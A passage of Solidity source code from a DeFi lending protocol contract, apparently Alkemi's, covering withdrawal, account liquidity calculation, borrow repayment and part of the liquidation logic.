(err, localResults.userSupplyUpdated) = sub( localResults.userSupplyCurrent, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.INSUFFICIENT_BALANCE, FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT ); } // We want to know the user's withdrawCapacity, denominated in the asset // Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth) // Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth (err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount( asset, localResults.withdrawAmount, false ); // amount * oraclePrice = ethValueOfWithdrawal if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED); } // We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below) if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfWithdrawal ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply. // Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, supplyBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event supplyBalance.principal = localResults.userSupplyUpdated; supplyBalance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, localResults.withdrawAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user } emit SupplyWithdrawn( msg.sender, asset, localResults.withdrawAmount, localResults.startingBalance, supplyBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @dev Gets the user's account liquidity and account shortfall balances. This includes * any accumulated interest thus far but does NOT actually update anything in * storage, it simply calculates the account liquidity and shortfall with liquidity being * returned as the first Exp, ie (Error, accountLiquidity, accountShortfall). * @return Return values are expressed in 1e18 scale */ function calculateAccountLiquidity(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { Error err; Exp memory sumSupplyValuesMantissa; Exp memory sumBorrowValuesMantissa; ( err, sumSupplyValuesMantissa, sumBorrowValuesMantissa ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } Exp memory result; Exp memory sumSupplyValuesFinal = Exp({ mantissa: sumSupplyValuesMantissa.mantissa }); Exp memory sumBorrowValuesFinal; // need to apply collateral ratio (err, sumBorrowValuesFinal) = mulExp( collateralRatio, Exp({mantissa: sumBorrowValuesMantissa.mantissa}) ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall. // else the user meets the collateral ratio and has account liquidity. if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) { // accountShortfall = borrows - supplies (err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal); revertIfError(err); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, Exp({mantissa: 0}), result); } else { // accountLiquidity = supplies - borrows (err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal); revertIfError(err); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, result, Exp({mantissa: 0})); } } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18) */ function calculateAccountValuesInternal(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { /** By definition, all collateralMarkets are those that contribute to the user's * liquidity and shortfall so we need only loop through those markets. * To handle avoiding intermediate negative results, we will sum all the user's * supply balances and borrow balances (with collateral ratio) separately and then * subtract the sums at the end. */ AccountValueLocalVars memory localResults; // Re-used for all intermediate results localResults.sumSupplies = Exp({mantissa: 0}); localResults.sumBorrows = Exp({mantissa: 0}); Error err; // Re-used for all intermediate errors localResults.collateralMarketsLength = collateralMarkets.length; for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) { localResults.assetAddress = collateralMarkets[i]; Market storage currentMarket = markets[localResults.assetAddress]; Balance storage supplyBalance = supplyBalances[userAddress][ localResults.assetAddress ]; Balance storage borrowBalance = borrowBalances[userAddress][ localResults.assetAddress ]; if (supplyBalance.principal > 0) { // We calculate the newSupplyIndex and user’s supplyCurrent (includes interest) (err, localResults.newSupplyIndex) = calculateInterestIndex( currentMarket.supplyIndex, currentMarket.supplyRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's supply balance with interest so let's multiply by the asset price to get the total value (err, localResults.supplyTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userSupplyCurrent, false ); // supplyCurrent * oraclePrice = supplyValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of supplies (err, localResults.sumSupplies) = addExp( localResults.supplyTotalValue, localResults.sumSupplies ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } if (borrowBalance.principal > 0) { // We perform a similar actions to get the user's borrow balance (err, localResults.newBorrowIndex) = calculateInterestIndex( currentMarket.borrowIndex, currentMarket.borrowRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's borrow balance with interest so let's multiply by the asset price to get the total value (err, localResults.borrowTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userBorrowCurrent, false ); // borrowCurrent * oraclePrice = borrowValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of borrows (err, localResults.sumBorrows) = addExp( localResults.borrowTotalValue, localResults.sumBorrows ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } } return ( Error.NO_ERROR, localResults.sumSupplies, localResults.sumBorrows ); } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details), * sum ETH value of supplies scaled by 10e18, * sum ETH value of borrows scaled by 10e18) */ function calculateAccountValues(address userAddress) public view returns ( uint256, uint256, uint256 ) { ( Error err, Exp memory supplyValue, Exp memory borrowValue ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (uint256(err), 0, 0); } return (0, supplyValue.mantissa, borrowValue.mantissa); } /** * @notice Users repay borrowed assets from their own address to the protocol. * @param asset The market asset to repay * @param amount The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(address asset, uint256 amount) public payable nonReentrant returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail( Error.CONTRACT_PAUSED, FailureInfo.REPAY_BORROW_CONTRACT_PAUSED ); } refreshAlkIndex(asset, msg.sender, false, true); PayBorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } uint256 reimburseAmount; // If the user specifies -1 amount to repay (“max”), repayAmount => // the lesser of the senders ERC-20 balance and borrowCurrent if (asset != wethAddress) { if (amount == uint256(-1)) { localResults.repayAmount = min( getBalanceOf(asset, msg.sender), localResults.userBorrowCurrent ); } else { localResults.repayAmount = amount; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if (amount > localResults.userBorrowCurrent) { localResults.repayAmount = localResults.userBorrowCurrent; (err, reimburseAmount) = sub( amount, localResults.userBorrowCurrent ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults.repayAmount = amount; } } // Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated` // Note: this checks that repayAmount is less than borrowCurrent (err, localResults.userBorrowUpdated) = sub( localResults.userBorrowCurrent, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail gracefully if asset is not approved or has insufficient balance // Note: this checks that repayAmount is less than or equal to their ERC-20 balance if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE ); } } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add( localResults.currentCash, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther(localResults.repayAmount); //Repay excess funds if (reimburseAmount > 0) { revertEtherToUser(msg.sender, reimburseAmount); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( asset, msg.sender, localResults.repayAmount, market.supplyIndex ); emit BorrowRepaid( msg.sender, asset, localResults.repayAmount, localResults.startingBalance, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice users repay all or some of an underwater borrow and receive collateral * @param targetAccount The account whose borrow should be liquidated * @param assetBorrow The market asset to repay * @param assetCollateral The borrower's market asset to receive in exchange * @param requestedAmountClose The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow( address targetAccount, address assetBorrow, address assetCollateral, uint256 requestedAmountClose ) public payable returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.LIQUIDATE_CONTRACT_PAUSED ); } require(liquidators[msg.sender], "LIQUIDATOR_CHECK_FAILED"); refreshAlkIndex(assetCollateral, targetAccount, true, true); refreshAlkIndex(assetCollateral, msg.sender, true, true); refreshAlkIndex(assetBorrow, targetAccount, false, true); LiquidateLocalVars memory localResults; // Copy these addresses into the struct for use with `emitLiquidationEvent` // We'll use localResults.liquidator inside this function for clarity vs using msg.sender. localResults.targetAccount = targetAccount; localResults.assetBorrow = assetBorrow; localResults.liquidator = msg.sender; localResults.assetCollateral = assetCollateral; Market storage borrowMarket = markets[assetBorrow]; Market storage collateralMarket = markets[assetCollateral]; Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[ targetAccount ][assetBorrow]; Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[ targetAccount ][assetCollateral]; // Liquidator might already hold some of the collateral asset Balance storage supplyBalance_LiquidatorCollateralAsset = supplyBalances[localResults.liquidator][assetCollateral]; uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls Error err; // re-used for all intermediate errors (err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED); } (err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow); // If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice revertIfError(err); // We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset ( err, localResults.newBorrowIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.borrowIndex, borrowMarket.borrowRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( err, localResults.currentBorrowBalance_TargetUnderwaterAsset ) = calculateBalance( borrowBalance_TargeUnderwaterAsset.principal, borrowBalance_TargeUnderwaterAsset.interestIndex, localResults.newBorrowIndex_UnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED ); } // We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset ( err, localResults.newSupplyIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.supplyIndex, collateralMarket.supplyRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } ( err, localResults.currentSupplyBalance_TargetCollateralAsset ) = calculateBalance( supplyBalance_TargetCollateralAsset.principal, supplyBalance_TargetCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Liquidator may or may not already have some collateral asset. // If they do, we need to accumulate interest on it before adding the seized collateral to it. // We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset ( err, localResults.currentSupplyBalance_LiquidatorCollateralAsset ) = calculateBalance( supplyBalance_LiquidatorCollateralAsset.principal, supplyBalance_LiquidatorCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated // interest and then by adding the liquidator's accumulated interest. // Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the target user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( collateralMarket.totalSupply, localResults.currentSupplyBalance_TargetCollateralAsset, supplyBalance_TargetCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the calling user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( localResults.newTotalSupply_ProtocolCollateralAsset, localResults.currentSupplyBalance_LiquidatorCollateralAsset, supplyBalance_LiquidatorCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user // This is equal to the lesser of // 1. borrowCurrent; (already calculated) // 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount: // discountedRepayToEvenAmount= // shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] // 3. discountedBorrowDenominatedCollateral // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) // Here we calculate item 3. discountedBorrowDenominatedCollateral = // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) ( err, localResults.discountedBorrowDenominatedCollateral ) = calculateDiscountedBorrowDenominatedCollateral( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.currentSupplyBalance_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED ); } if (borrowMarket.isSupported) { // Market is supported, so we calculate item 2 from above. ( err, localResults.discountedRepayToEvenAmount ) = calculateDiscountedRepayToEvenAmount( targetAccount, localResults.underwaterAssetPrice, assetBorrow ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED ); } // We need to do a two-step min to select from all 3 values // min1&3 = min(item 1, item 3) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); // min1&3&2 = min(min1&3, 2) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset, localResults.discountedRepayToEvenAmount ); } else { // Market is not supported, so we don't need to calculate item 2. localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); } // If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset if (assetBorrow != wethAddress) { if (requestedAmountClose == uint256(-1)) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if ( requestedAmountClose > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; (err, localResults.reimburseAmount) = sub( requestedAmountClose, localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } // From here on, no more use of `requestedAmountClose` // Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset if ( localResults.closeBorrowAmount_TargetUnderwaterAsset > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { return fail( Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH ); } // seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount) ( err, localResults.seizeSupplyAmount_TargetCollateralAsset ) = calculateAmountSeize( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED ); } // We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol // Fail gracefully if asset is not approved or has insufficient balance if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically err = checkTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE); } } // We are going to repay the target user's borrow using the calling user's funds // We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance, // adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset. // Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset` (err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); // We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow revertIfError(err); // We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last // action, the updated balance *could* be higher than the prior checkpointed balance. ( err, localResults.newTotalBorrows_ProtocolUnderwaterAsset ) = addThenSub( borrowMarket.totalBorrows, localResults.updatedBorrowBalance_TargetUnderwaterAsset, borrowBalance_TargeUnderwaterAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET ); } // We need to calculate what the updated cash will be after we transfer in from liquidator localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow); (err, localResults.updatedCash_ProtocolUnderwaterAsset) = add( localResults.currentCash_ProtocolUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET ); } // The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow // (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.) // We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it. ( err, localResults.newSupplyIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.supplyIndex, borrowMarket.supplyRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( rateCalculationResultCode, localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getSupplyRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } ( rateCalculationResultCode, localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getBorrowRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } // Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above. // Now we need to calculate the borrow index. // We don't need to calculate new rates for the collateral asset because we have not changed utilization: // - accumulating interest on the target user's collateral does not change cash or borrows // - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows. ( err, localResults.newBorrowIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.borrowIndex, collateralMarket.borrowRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } // We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index (err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub( localResults.currentSupplyBalance_TargetCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance // maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits 